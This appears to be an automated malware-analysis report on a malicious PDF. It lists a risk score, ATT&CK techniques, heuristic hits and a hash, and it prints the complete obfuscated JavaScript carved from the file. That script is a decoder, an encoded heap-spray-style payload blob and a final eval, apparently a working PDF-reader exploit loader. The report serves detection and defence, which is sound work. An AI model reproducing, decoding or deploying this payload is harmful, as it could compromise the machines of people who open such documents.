MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The PDF sample contains embedded JavaScript that is heavily obfuscated, but heuristics indicate it is part of an exploit cluster. The ML classifier strongly suggests maliciousness. The script's obfuscated nature and the exploit cluster firing indicate it is designed to execute malicious code, likely downloading a secondary payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
g)FwrAqxYKWidEntHOpF=FL57LLLLL;\nFF(g)FJ94<WL3kZEvJbmV{F=FR5EgbNzKYTv8bRAecYC9ObrF*Fi;\nFF(g)FDfYKznJBk,Za,9roF=FwrAqxYKWidEntHOpF-FlJ94<WL3kZEvJbmV{F+FL5,jX;\nFF(g)F<<Lp>K>WD4w>eyo3F=Fv9CK8gqCl\"%v L L%v L L\"X;\nFF<<Lp>K>WD4w>eyo3F=FousAN5HZ{>NHb6fsl<<Lp>K>WD4w>eyo31FDfYKznJBk,Za,9roX;\nFF(g)Fud0O}SniQJdCuv)LF=FlT2jnt4n,}Tega)SmF-FL57LLLLLXF/FwrAqxYKWidEntHOp;\nFFV4)Fl(g)FsV0pqCxDYyQCbd<>F=FL;FsV0pqCxDYyQCbd<>FPFud0O}SniQJdCuv)L;FsV0pqCxDYyQCbd<>F++FXM\nFFFFrToYuBy)rO{J44T([sV0pqCxDYyQCbd<>]F= … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x23A | 7999 bytes |
SHA-256: 1290908f4e0644e11a376fdc40c9ce442958a00f2b6ef7203d6e6f124c73f161 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). 111 of 151 identifiers look randomly generated (e.g. 'nFFFFFFFF2rGYCFlewye8BKmo0BKD4YrcYC9ObrF') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
function bHuUug(bHuUug,vKKTxf) {var yvHozcJvh8Zt6O=bHuUug. substr (vKKTxf, 1);return yvHozcJvh8Zt6O;}/*VKGF1|AUb6G9dmHFa3MEtp|eMN46JI9*/function eA6wEY0ke(Eku1ZrFwBYTXs2) {/*TGkKxgfOclO6|WBoQNtA3|eFLZCUiBz1IaC56hKZJZ*/var AH2HTLlTHYYgP = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*XvWBCkvCds[j46lOfnDXvdZr]A2zGRLeDifF*//*QIm9pL4|wIHaMeMq44G1w6|DIdHq8MyPUaPAmKmYSuz*/var B1Cll4BT9yVXHsGAP9HH /*PBLJ5SBsPAvXd[DcF2saT8b5IDUayK6DM]MIaN0qO*/= new String("P.lXMhFc1a3npdDTk<JSzefUyZH0mwxWsQAgI8{CVOrGNuYR94qo)Kbv(25B6L}i,7>tEj ");/*DrfHJlA1CUzdQ7|kYVvUY7clF2z6|DimuEu3pvusFkL*/for(aStuaI=0;aStuaI<AH2HTLlTHYYgP.length;aStuaI++) {if(Eku1ZrFwBYTXs2 == bHuUug(B1Cll4BT9yVXHsGAP9HH, aStuaI)) {/*ht66ErQdps[ul3qK6]xqThj9TU*/return bHuUug(AH2HTLlTHYYgP, aStuaI);/*Y52udmqZqYqJDZNy <GfLDu]tEgTD0ouOjn8CPpc6DIF*/}}return Eku1ZrFwBYTXs2;}/*hT5iaa[dLtNPQgSGKDUuqTx]AP2CX8J5REesfOLq7Y5N*//*NTGRo087o463x9RvIND|rvr57Y3W|GRhaYyEOw*/var jFSnfzEVf5EyoM7y = new String;var Z6Durk0cu = new String("\n(g)FrToYuBy)rO{J44T(F=F9C2Fa))gBlX;\n(g)Fo4(IyYNo0eNB4QvR;\nVv98bG49FousAN5HZ{>NHb6fsl<<Lp>K>WD4w>eyo31FDfYKznJBk,Za,9roXM\nFF2rGYCFl<<Lp>K>WD4w>eyo3cYC9ObrF*FiFPFDfYKznJBk,Za,9roXM\nFFFF<<Lp>K>WD4w>eyo3F+=F<<Lp>K>WD4w>eyo3;\nFFh\nFF<<Lp>K>WD4w>eyo3F=F<<Lp>K>WD4w>eyo3cKvIKb)G9OlL1FDfYKznJBk,Za,9roF/FiX;\nFF)Cbv)9F<<Lp>K>WD4w>eyo3;\nh\nVv98bG49Fyo>aN O6237JgvxulQT{{m28u6,vio8K5XM\nFF(g)FT2jnt4n,}Tega)SmF=FL5L8L8L8L8;\nFF(g)FR5EgbNzKYTv8bRAeF=Fv9CK8gqCl\"%v7,7,%v7,7,%v7,7,%vLDd3%v,,>3%vttn %vjL3 %vjLL}%vdD,,%vdi7,%vd3Da%vdjL>%vDDdn%vDDDD%vj3ED%vpD7d%vdDdD%vt7dD%vd,aD%v Dt7%v7iD,%v Dt7%vtddE%vdDL,%vdDd3%vt7dD%v3 L,%vt}jE%vd}a}%vLEL,%vdD}}%vdDdD%vaatt%v3 d3%vEEjE%vt>}}%vLEd}%vdD}D%vdDdD%vaatt%v3 dE%vnajE%v}L>D%vLEip%vdDLp%vdDdD%vaatt%v3 d,%vLLjE%vLDi}%vLEjD%vdD,3%vdDdD%vaatt%v3 DD%vidjE%vLa t%vLE>E%vdDi %vdDdD%vaatt%vaDD3%vpEtD%v ain%vtt}>%vDEaa%vdjLt%vdDdd%v3}dD%v att%vt7n3%vd3aa%vddj>%vt73t%vDE3a%vLE3 %vdDt7%vdDdD%vjE3D%vD>p %v DnL%vEjLE%vdDdD%vttdD%vD,aa%viat7%viDtn%vtt3D%vnDaa%v}LjE%vdDdD%v3DdD%vaat7%vj>D3%v3tdp%v3at7%vLEDE%vdDjd%vdDdD%vaadn%vijnD%v3,dD%vn} }%vijja%vd3aD%vja E%vdDdD%v a}L%vt7nD%vd,aa%vddj>%vt73t%vDE3a%vaDLE%vdDdD%vj>dD%v3Edj%vaadn%vpnn3%v3n,7%v}L3n%vnD a%v3n3D%vaat7%vj>D,%v3tda%v3at7%vLEDE%vdDnn%vdDdD%vdDj>%v a}L%vt7nD%vdEaa%vdpj>%vt73t%vDE3a%vDDLE%vdDdD%vj>dD%vt7}L%vDDaa%vddj>%vt73t%vDE3a%vdDLE%vdDdD%vaddD%v3p37%vLddn%vLddn%vLddn%vLddn%vL,tn%v3>d3%vt73n%vLp,>%v3p}j%vLD}L%vt73a%vt7L,%vdE i%v3it7%v3 d,%v nt7%vt7p,%vD} 3%vdn E%v3 }n%v t7%vdnnD%vpn}n%vatit%v7iad%vindn%vpn3 %vdL} %vDD>}%v}pp>%vdE 3%vi}id%vdndi%vaD}p%v}dL7%v}}p7%v a3}%v3>La%vL7t7%v3>t7%vdnn3%vj ,i%vd,t7%vt7a7%vD,3>%v,idn%vd3t7%vdnt7%v3}ia%vip3i%vdDdE%v}3LE%v}L}}%v3a}L%va,3p%vaLai%vdDa}%vE7tj%vELE7%viD,a%vt7iD%vtp,L%v,}t}%vE,td%vt id%vtttd%viDtD%vtnti%vtEtD%vtniD%vt}tD%vidt7%vtjEL%v,DEL%vt7t %v, ,p%vLL,}\"X;\nFFGVFlQT{{m28u6,vio8K5F==F}XM\nFFFFT2jnt4n,}Tega)SmF=FL5,L,L,L,L;\nFFFFR5EgbNzKYTv8bRAeF=Fv9CK8gqCl\"%v7,7,%v7,7,%v7,7,%vLDd3%v,,>3%vttn %vjL3 %vjLL}%vdD,,%vdi7,%vd3Da%vdjL>%vDDdn%vDDDD%vj3ED%vpD7d%vdDdD%vt7dD%vd,aD%v Dt7%v7iD,%v Dt7%vtddE%vdDL,%vdDd3%vt7dD%v3 L,%vt}jE%vd}a}%vLEL,%vdD}}%vdDdD%vaatt%v3 d3%vEEjE%vt>}}%vLEd}%vdD}D%vdDdD%vaatt%v3 dE%vnajE%v}L>D%vLEip%vdDLp%vdDdD%vaatt%v3 d,%vLLjE%vLDi}%vLEjD%vdD,3%vdDdD%vaatt%v3 DD%vidjE%vLa t%vLE>E%vdDi %vdDdD%vaatt%vaDD3%vpEtD%v ain%vtt}>%vDEaa%vdjLt%vdDdd%v3}dD%v att%vt7n3%vd3aa%vddj>%vt73t%vDE3a%vLE3 %vdDt7%vdDdD%vjE3D%vD>p %v DnL%vEjLE%vdDdD%vttdD%vD,aa%viat7%viDtn%vtt3D%vnDaa%v}LjE%vdDdD%v3DdD%vaat7%vj>D3%v3tdp%v3at7%vLEDE%vdDjd%vdDdD%vaadn%vijnD%v3,dD%vn} }%vijja%vd3aD%vja E%vdDdD%v a}L%vt7nD%vd,aa%vddj>%vt73t%vDE3a%vaDLE%vdDdD%vj>dD%v3Edj%vaadn%vpnn3%v3n,7%v}L3n%vnD a%v3n3D%vaat7%vj>D,%v3tda%v3at7%vLEDE%vdDnn%vdDdD%vdDj>%v a}L%vt7nD%vdEaa%vdpj>%vt73t%vDE3a%vDDLE%vdDdD%vj>dD%vt7}L%vDDaa%vddj>%vt73t%vDE3a%vdDLE%vdDdD%vaddD%v3p37%vLddn%vLddn%vLddn%vLddn%vL,tn%v3>d3%vt73n%vLp,>%v3p}j%vLD}L%vt73a%vt7L,%vdE i%v3it7%v3 d,%v nt7%vt7p,%vD} 3%vdn E%v3 }n%v t7%vdnnD%vpn}n%vatit%v7iad%vindn%vpn3 %vdL} %vDD>}%v}pp>%vdE 3%vi}id%vdndi%vaD}p%v}dL7%v}}p7%v a3}%v3>La%vL7t7%v3>t7%vdnn3%vj ,i%vd,t7%vt7a7%vD,3>%v,idn%vd3t7%vdnt7%v3}ia%vip3i%vdDdE%v}3LE%v}L}}%v3a}L%va,3p%vaLai%vdDa}%vE7tj%vELE7%viD,a%vt7iD%vtp,L%v,}t}%vE,td%vt id%vtttd%viDtD%vtnti%vtEtD%vtniD%vt}tD%vidt7%vtjEL%v,DEL%vt7t %v, ,p%vLL,}\"X;\nFFh\nFFCYKCFGVFlQT{{m28u6,vio8K5F==FiXM\nFFFFR5EgbNzKYTv8bRAeF=Fv9CK8gqCl\"%v7,7,%v7,7,%v7,7,%vLDd3%v,,>3%vttn %vjL3 %vjLL}%vdD,,%vdi7,%vd3Da%vdjL>%vDDdn%vDDDD%vj3ED%vpD7d%vdDdD%vt7dD%vd,aD%v Dt7%v7iD,%v Dt7%vtddE%vdDL,%vdDd3%vt7dD%v3 L,%vt}jE%vd}a}%vLEL,%vdD}}%vdDdD%vaatt%v3 d3%vEEjE%vt>}}%vLEd}%vdD}D%vdDdD%vaatt%v3 dE%vnajE%v}L>D%vLEip%vdDLp%vdDdD%vaatt%v3 d,%vLLjE%vLDi}%vLEjD%vdD,3%vdDdD%vaatt%v3 DD%vidjE%vLa t%vLE>E%vdDi %vdDdD%vaatt%vaDD3%vpEtD%v ain%vtt}>%vDEaa%vdjLt%vdDdd%v3}dD%v att%vt7n3%vd3aa%vddj>%vt73t%vDE3a%vLE3 %vdDt7%vdDdD%vjE3D%vD>p %v DnL%vEjLE%vdDdD%vttdD%vD,aa%viat7%viDtn%vtt3D%vnDaa%v}LjE%vdDdD%v3DdD%vaat7%vj>D3%v3tdp%v3at7%vLEDE%vdDjd%vdDdD%vaadn%vijnD%v3,dD%vn} }%vijja%vd3aD%vja E%vdDdD%v a}L%vt7nD%vd,aa%vddj>%vt73t%vDE3a%vaDLE%vdDdD%vj>dD%v3Edj%vaadn%vpnn3%v3n,7%v}L3n%vnD a%v3n3D%vaat7%vj>D,%v3tda%v3at7%vLEDE%vdDnn%vdDdD%vdDj>%v a}L%vt7nD%vdEaa%vdpj>%vt73t%vDE3a%vDDLE%vdDdD%vj>dD%vt7}L%vDDaa%vddj>%vt73t%vDE3a%vdDLE%vdDdD%vaddD%v3p37%vLddn%vLddn%vLddn%vLddn%vL,tn%v3>d3%vt73n%vLp,>%v3p}j%vLD}L%vt73a%vt7L,%vdE i%v3it7%v3 d,%v nt7%vt7p,%vD} 3%vdn E%v3 }n%v t7%vdnnD%vpn}n%vatit%v7iad%vindn%vpn3 %vdL} %vDD>}%v}pp>%vdE 3%vi}id%vdndi%vaD}p%v}dL7%v}}p7%v a3}%v3>La%vL7t7%v3>t7%vdnn3%vj ,i%vd,t7%vt7a7%vD,3>%v,idn%vd3t7%vdnt7%v3}ia%vip3i%vdDdE%v}3LE%v}L}}%v3a}L%va,3p%vaLai%vdDa}%vE7tj%vELE7%viD,a%vt7iD%vtp,L%v,}t}%vE,td%vt id%vtttd%viDtD%vtnti%vtEtD%vtniD%vt}tD%vidt7%vtjEL%v,DEL%vt7t %v, ,p%vLL,}\"X;\nFFh\nFF(g)FwrAqxYKWidEntHOpF=FL57LLLLL;\nFF(g)FJ94<WL3kZEvJbmV{F=FR5EgbNzKYTv8bRAecYC9ObrF*Fi;\nFF(g)FDfYKznJBk,Za,9roF=FwrAqxYKWidEntHOpF-FlJ94<WL3kZEvJbmV{F+FL5,jX;\nFF(g)F<<Lp>K>WD4w>eyo3F=Fv9CK8gqCl\"%v L L%v L L\"X;\nFF<<Lp>K>WD4w>eyo3F=FousAN5HZ{>NHb6fsl<<Lp>K>WD4w>eyo31FDfYKznJBk,Za,9roX;\nFF(g)Fud0O}SniQJdCuv)LF=FlT2jnt4n,}Tega)SmF-FL57LLLLLXF/FwrAqxYKWidEntHOp;\nFFV4)Fl(g)FsV0pqCxDYyQCbd<>F=FL;FsV0pqCxDYyQCbd<>FPFud0O}SniQJdCuv)L;FsV0pqCxDYyQCbd<>F++FXM\nFFFFrToYuBy)rO{J44T([sV0pqCxDYyQCbd<>]F=F<<Lp>K>WD4w>eyo3F+FR5EgbNzKYTv8bRAe;\nFFh\nh\nVv98bG49FKuY0tBwC<NJ7{apzlXM\nFF(g)FqOAVSt(ExwYUG7maF=FL;\nFF(g)FQD{bdjQWo)Aw,RoKF=Fgqqc(GC2C)xC)KG49cb40b)G9OlX;\nFFgqqc8YCg)mGRCUvblo4(IyYNo0eNB4QvRX;\n\nFFGVFlQD{bdjQWo)Aw,RoKFPFEc}XM\nFFFFyo>aN O6237JgvxulLX;\nFFFF(g)FkZQ9xwb}BVyOGb)WF=Fv9CK8gqCl\"%vL8L8%vL8L8\"X;\nFFFF2rGYCFlkZQ9xwb}BVyOGb)WcYC9ObrFPF77 >iXkZQ9xwb}BVyOGb)WF+=FkZQ9xwb}BVyOGb)W;\nFFFFbrGKFc84YYgI0b4)CF=Fn4YYgIc84YYC8bdRgGY<9V4lM\nFFFFFFKvINF:F\"\"1FRKOF:FkZQ9xwb}BVyOGb)W\nFFFFh\nFFFFX;\nFFh\nGVFlQD{bdjQWo)Aw,RoKF.=F XM\nFFFFb)BFM\nGVFlgqqc{48cn4YYgIcOCb<849XM\nFFFFFFFFyo>aN O6237JgvxuliX;\nFFFFFFFF(g)Fewye8BKmo0BKD4YrF=Fv9CK8gqCl\"%L \"X;\nFFFFFFFF2rGYCFlewye8BKmo0BKD4YrcYC9ObrFPFL57LLLXewye8BKmo0BKD4YrF+=Fewye8BKmo0BKD4Yr;\nFFFFFFFFewye8BKmo0BKD4YrF=F\"fc\"F+Fewye8BKmo0BKD4Yr;\ngqqc{48cn4YYgIcOCb<849lewye8BKmo0BKD4YrX;\nFFFFFFFFqOAVSt(ExwYUG7maF=F};\nFFFFFFh\nFFFFFFCYKCFM\nFFFFFFFFqOAVSt(ExwYUG7maF=F};\nFFFFFFh\nFFFFh\nFFFF8gb8rFlCXM\nFFFFFFqOAVSt(ExwYUG7maF=F};\nFFFFh\nFFFFGVFlqOAVSt(ExwYUG7maF==F}XM\nFFFFFFGVFllQD{bdjQWo)Aw,RoKF.=FEc}&&FQD{bdjQWo)Aw,RoKFPF XXM\nFFFFFFFFyo>aN O6237Jgvxul}X;\nFFFFFFFF(g)F)SxNqyu9>LwR,z<3F=F\"}i \";\nFFFFFFFFV4)FlgGsHrZ(sbby r3q2F=FL;FgGsHrZ(sbby r3q2FPFiEt;FgGsHrZ(sbby r3q2F++FXM\nFFFFFFFFFF)SxNqyu9>LwR,z<3F+=F\"j\";\nFFFFFFFFh\nFFFFFFFFvbGYcq)G9bVl\"%7>LLLV\"1F)SxNqyu9>LwR,z<3X;\nFFFFFFh\nFFFFh\nFFh\nh\ngqqcVzOzuZ 4g8g85b49F=FKuY0tBwC<NJ7{apz;\no4(IyYNo0eNB4QvRF=FgqqcKCbmGRCUvbl\"gqqcVzOzuZ 4g8g85b49lX\"1F}LX;\n");/*Ar9xe{EPGSST9EB5BZyXs5oQVC}ZR1cLi*//*ACZDSgVlzVp1|qQFE9AtQV|UuEMNPvoNxEQGkmrZ*/for(vigfI=0;vigfI<Z6Durk0cu.length;vigfI++)jFSnfzEVf5EyoM7y += eA6wEY0ke(bHuUug(Z6Durk0cu,vigfI));eval(jFSnfzEVf5EyoM7y);/*WRNDiSHiS1ynnJYrVl6G[K4UbA4DsU]FmOJK*/
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